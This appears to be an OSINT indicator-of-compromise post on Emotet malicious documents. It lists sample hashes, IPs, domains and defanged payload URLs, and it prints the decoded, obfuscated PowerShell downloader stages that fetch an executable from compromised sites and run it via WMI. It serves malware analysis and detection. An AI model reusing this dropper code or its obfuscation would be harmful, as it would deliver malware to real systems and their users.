#Emotet #Docs #malware #OSINT #IOC

SHA256:

bda55acb649535e7d61133cf076b1604f3da829aa4d7b45a7bf3ba27466d9c3a
4d67767678a9079f097fa98392ca9191d4dd429a1da0506b2e60185b0ded8609
884876d14dea6bbb5b0486ae70f7a87077f5f3fda54e5d2e4ac65a912e0456b9
82644a1bae0b178699086ebdc358f8997d57868dbc416ed2a247e1cd7e08a6dd
8a830a6191d9a05c952d79d0799c7e0c106e46eb7f690d42fd878228184ebabf
353b24cd1dbb7be15133b64495afbbd1846a83e775870f07cef1efc21c411ddf
bf246d3feccccc844216d166efb179ef81693da58389024f29e7c95214528765
7bd40718fa922a86af75ea47aeebc5f46e19a37609b1d7fa2832d31591c14337
36050868b0b848eecafcb80cfefae256dd3fde2efcc4d6c2d2253761f4777d14
c505008bf5ce64405d91caf5ea3722fda278ee199c54f7bc9e556520dc264819
b87cff080611ecd416f3a4b3e36aa409631e25a8c5b317bded3bb803479ed823
ab84d900f000d2301ecbf54675994950f221313176f48ff78d4e69469b9cc74a
4d2029f90dd4666820163090c7717ea8b2166605108cf8e5292054e752213b86
6ed1c77ce6be172badf1f66461449ff5fd3a5529c89f08447034c3853eb0ab69
c5c24fefed04facf5e5f02de5b7f843fee9594d2f5f356af9dd46a9075e8ed13
d1e5aa8b9004ac50b7e99e0bb18ff0acae39bedf63fe41ec309f2e697c30e088
c3666fee1b698a9cae596fa69ee1c06645d09e901ae0f6d357477e4a039b6ce5
6e08ea0eaeb477ff20359e0373f45145c9b0c6b5e5fc3fd910076d7a68e0020b
df8f4bc5b7b5d8e89442468f6afb2bbc45943906195f2aca37cebd2f799341a2
9f5254aadc7a867d60371d269a9dc5700029302284d6d0e9b152fa0d5b27c67e
ca9e326f9883ccb0ff723213e72819c6bbf04eeb79ff50338ea5f87f22337781
ac9cce2287c35e3972224bd66c9dfd542e058c3a66817c0627585fb1dab27fcc
efc80a3910740ed508a126ac5b5399b38c8c22a84e428367917c44dcc5766c73
5a6cb06d77cd69a54b803b419a0cabcacc02082fdf6c30456cd252d8dcd0e42f
fe1403af8bfc6dafc09d02f60f2b208d0891210f6d16fc2db622f950339c7f99
12587249744f2253a36fa401256c0bfe0d806185522023bd4862720f14b9cb15
3e0f89ca635616bac7426e530b906d6ca2dcd19d25b774f43bb17589f65da108
5d476a5eed4d7b67f48da71c06f2f4c87f3217e6ce4fd6dc69519b6ad7e14f4f
00d8cd508fed4a962bb50884748fd8d75c9f8074cca9bb140894c28b4c021819
adfe600b8bedf1a0e199e8b5d78a55259c578dfb00f9d80c6c1401a53aa073cb
d89122b3343485f18e72909f9c77fca6203a619ab86c89f197dcf234b555785a
ed6f0ea274283c8561d31ca85e4acf6aa0e1622dfac60a7c3024f5db8c7a6201
14e9ba4b032eab01d304627b3d02f264c523c4c5eacd7523a03a4b1cf88385df
0c5ff699c5ce1207a99bf313c0671b6feddabdccbfbf212a8ff166ba4c658a59
9a1325184bf5b26f62b02cb398df0e599304069649a0807b253f69de9ad9a74f
6586b9a385da02c4aebeae103ac96dc6ed5b619393e237517ee299234aeef676
52e28ea8aca2d8740bf1588be8b31149155d1ed1b03f5515245289f97419268f
bdec17a0bd8af4f682e06a0e45531d3e90242d09c6a7e99b3c293fcd72418b21
882670dd3df201e5ecf1b974cc68945ebdd3e0fed7263edfcc053dcff49a2d9a
7bce19ab2ebbfd54b04f581b9e81b10e82557befdb1b22eb3d0fdabbc8826a5c
f7cabbae349bc8d0af827bcc4fe3c3b855712c7e682c7a807cab5776ecc32cdd
fbef2fc3a7258efde549c84e30eaa668a109e405748c75ac6a69a79bced10480
2cd6d3c756477ef451f511c6ffae2ae49542fb6a4114f11be3b86cf4bdf57404
81891399936df65484f70dbb9fed509ece2515fa69131761a392f32fd0d6bf4c
44371483f703d07a492861139471189a8755d6863157b3ace04c1e4ea205987f
d990f8ea6afdd409b408fefaf18c4bb205c5fef6397e1e6d7c9466a47b138cb1
7917c98628b4577f65ab5752c6f5a80db5b71ba0f517e2e33a186bcab1314acc
5bbb813939f64e2278c6179f38bf23079ef73e26cfb042b2127fd7e8101b58cd
2523cc27570a391a84abd65e82fb1a231337b2a5361915a4de35de9e73a22a60
5a8d4ffcfdfbc1a6381d52664660dad53c880513959ca2ab2b0632aea4084347
f940f29fe12752f855f0b6259045d750764407404e11232d55fc9e291d3e9320
521ce598b022564001f8325d028beb08bd8ee8ce7fb2ca81422ae6e70ee7bd8e
f1065927b3966aa363d686fb8c4db46baec1c635829bb1c9e9319c8aa317ab24
602ff9838f477770285d4090f0faf5646dfc1a5ecf7248a89afa538fa6d7ec08
af008292647bdbea6d0082e69e7cfd60975bb107e694b72f44566de74821f3ee
47e49b0b6afc480769e1c375305036b995b0955fcf014b738f884f0dbcb506eb
04b8703ce935013cf049755bea27e77c5881c6cb5faa78acf062345ddbfa6f3a
9dde93b5c70e05197280da267836e4b0275e22d5ff9f446021e497b6124f91a1
b7341b5639ce738cff9cd52c28317eb6e144cdb639cd06b9493ac1a4804ba9d6
0e8ccc6b09bc19736bc6701236754a4d3b31bf1f2692693d784052b38d1ac4e3
308776ef21bcda26451f03a7a8118d4958b54327cb29028c5dce5cdbcba05303


IPs:
103.145.38.128
103.7.8.131
104.27.132.189
110.4.45.182
149.255.62.70
162.144.134.38
172.67.151.46
177.185.194.165
194.181.228.55
208.86.155.52
23.111.140.162
27.131.110.138
35.206.124.204
35.214.215.33
68.66.224.31
91.148.168.34

Domains:

arkamedia.pl
blog.funarbe.org.br
csmbuildersllc.com
dutarini.com
ecorideen.ncryptedprojects.com
emediserv.com
enviglobe.com
expart.com
grupomacro.com.br
halesplumbing.com.au
jesstalk.com
justinkongyt.com
lidoraggiodisole.it
vplast.com.br
xiangxiinfo.ac.cn


hxxp://dutarini.com/cgi-bin/Sz012521/
hxxps://ecorideen.ncryptedprojects.com/cron-nct/Mmgmv/
hxxp://enviglobe.com/wp-admin/ItqH87993/
hxxps://expart.com/internal/yS54480/
hxxp://emediserv.com/vra/ulD/
hxxp://justinkongyt.com/crm/52p1_drac_sc9/
hxxps://jesstalk.com/wp-admin/1wk_4_u6/
hxxps://csmbuildersllc.com/wp-admin/pkhqz_z6_5rlkm/
hxxps://blog.funarbe.org.br/ancjr/0_v7mg_67py692cs/
hxxp://arkamedia.pl/ca/al4_9dxus_dj5wer6/
hxxp://grupomacro.com.br/language/d_6_vd/
hxxp://halesplumbing.com.au/images/bxe9u_i_n3y/
hxxp://vplast.com.br/wp-content/8umw_pdh_v61/
hxxp://lidoraggiodisole.it/cgi-bin/f6q_kn_tqwx/
hxxp://xiangxiinfo.ac.cn/wordpress/1w_e3f_4ftsf/


Decoded Base64 Powershell:
$ZSFAAeob='FPDBIpcm';
[Net.ServicePointManager]::"securIT`yp`R`OtoCol" = 'tls12, tls11, tls';
$XPRABriq = '813';
$MWVCOktv='FZZPMxqs';
$FJUHYrbn=$env:userprofile+'\'+$XPRABriq+'.exe';
$FJQSXevy='WGBYPwkd';
$NGUYAvse=&('n'+'ew-o'+'bject') neT.webcLIeNT;
$UUMECoql='hxxp://dutarini.com/cgi-bin/Sz012521/
hxxps://ecorideen.ncryptedprojects.com/cron-nct/Mmgmv/
hxxp://enviglobe.com/wp-admin/ItqH87993/
hxxps://expart.com/internal/yS54480/
hxxp://emediserv.com/vra/ulD/'."sp`lit"([char]42);
$DPQQHihw='GARDSwng';
foreach($FBRXCtpl in $UUMECoql){try{$NGUYAvse."DOwn`l`oAdFi`Le"($FBRXCtpl, $FJUHYrbn);
$HUYQHqjw='GGKDEixm';
If ((&('G'+'et'+'-Item') $FJUHYrbn)."Le`N`GTH" -ge 22372) {([wmiclass]'win32_Process')."C`RE`AtE"($FJUHYrbn);
$PCHLBqpx='TOEKIkdj';
break;
$NIZHKtap='CVJFFtpr'}}catch{}}$AIXZRszd='BWBSBywz'$MERUCutv='XCJQOjdl';
[Net.ServicePointManager]::"sEc`URITyprO`To`C`ol" = 'tls12, tls11, tls';
$ZYSTNhgr = '430';
$HGVWDtnx='HGATFhoz';
$BNXFQmwd=$env:userprofile+'\'+$ZYSTNhgr+'.exe';
$GLCLUnza='IJIPCwlk';
$DGGPOhmy=.('new-'+'o'+'b'+'ject') net.weBcLiEnt;
$MWHTGbnv='hxxp://justinkongyt.com/crm/52p1_drac_sc9/
hxxps://jesstalk.com/wp-admin/1wk_4_u6/
hxxps://csmbuildersllc.com/wp-admin/pkhqz_z6_5rlkm/
hxxps://blog.funarbe.org.br/ancjr/0_v7mg_67py692cs/
hxxp://arkamedia.pl/ca/al4_9dxus_dj5wer6/'."sP`LiT"([char]42);
$QHOAOxro='XJDJAjre';
foreach($AUIAXqae in $MWHTGbnv){try{$DGGPOhmy."DOw`NlO`AdFI`Le"($AUIAXqae, $BNXFQmwd);
$SVLIXcve='TREEIvfx';
If ((&('Get'+'-Ite'+'m') $BNXFQmwd)."Le`NGTh" -ge 34306) {([wmiclass]'win32_Process')."CREA`Te"($BNXFQmwd);
$GXFUFubr='ZJYYXwto';
break;
$IJLEJkxx='SAIDCruy'}}catch{}}$NAGNVlbe='VTGHPgoo'$WQPVLkaa='YQAIYtfq';
[Net.ServicePointManager]::"SE`CuRi`TyPR`O`T`OCoL" = 'tls12, tls11, tls';
$FURQZscj = '96';
$VELYVvou='BJQHTbmq';
$PWOXJfff=$env:userprofile+'\'+$FURQZscj+'.exe';
$TKEWIxho='XWXKJqvo';
$BDEHAtfy=.('ne'+'w-obj'+'ect') neT.WeBclIent;
$SNQDAvtp='hxxp://grupomacro.com.br/language/d_6_vd/
hxxp://halesplumbing.com.au/images/bxe9u_i_n3y/
hxxp://vplast.com.br/wp-content/8umw_pdh_v61/
hxxp://lidoraggiodisole.it/cgi-bin/f6q_kn_tqwx/
hxxp://xiangxiinfo.ac.cn/wordpress/1w_e3f_4ftsf/'."s`pLIT"([char]42);
$KRUAXqby='HJGGLdhw';
foreach($SJJKDwig in $SNQDAvtp){try{$BDEHAtfy."Dow`NLOADf`i`le"($SJJKDwig, $PWOXJfff);
$DYVORgvr='BQAAMfkc';
If ((.('Get-I'+'te'+'m') $PWOXJfff)."LE`NGth" -ge 38782) {([wmiclass]'win32_Process')."cR`eA`Te"($PWOXJfff);
$TNOVJyzf='QKTDMysp';
break;
$WZNFFrzh='HWBWJfcd'}}catch{}}$ODMPSbcb='HNOBUppf'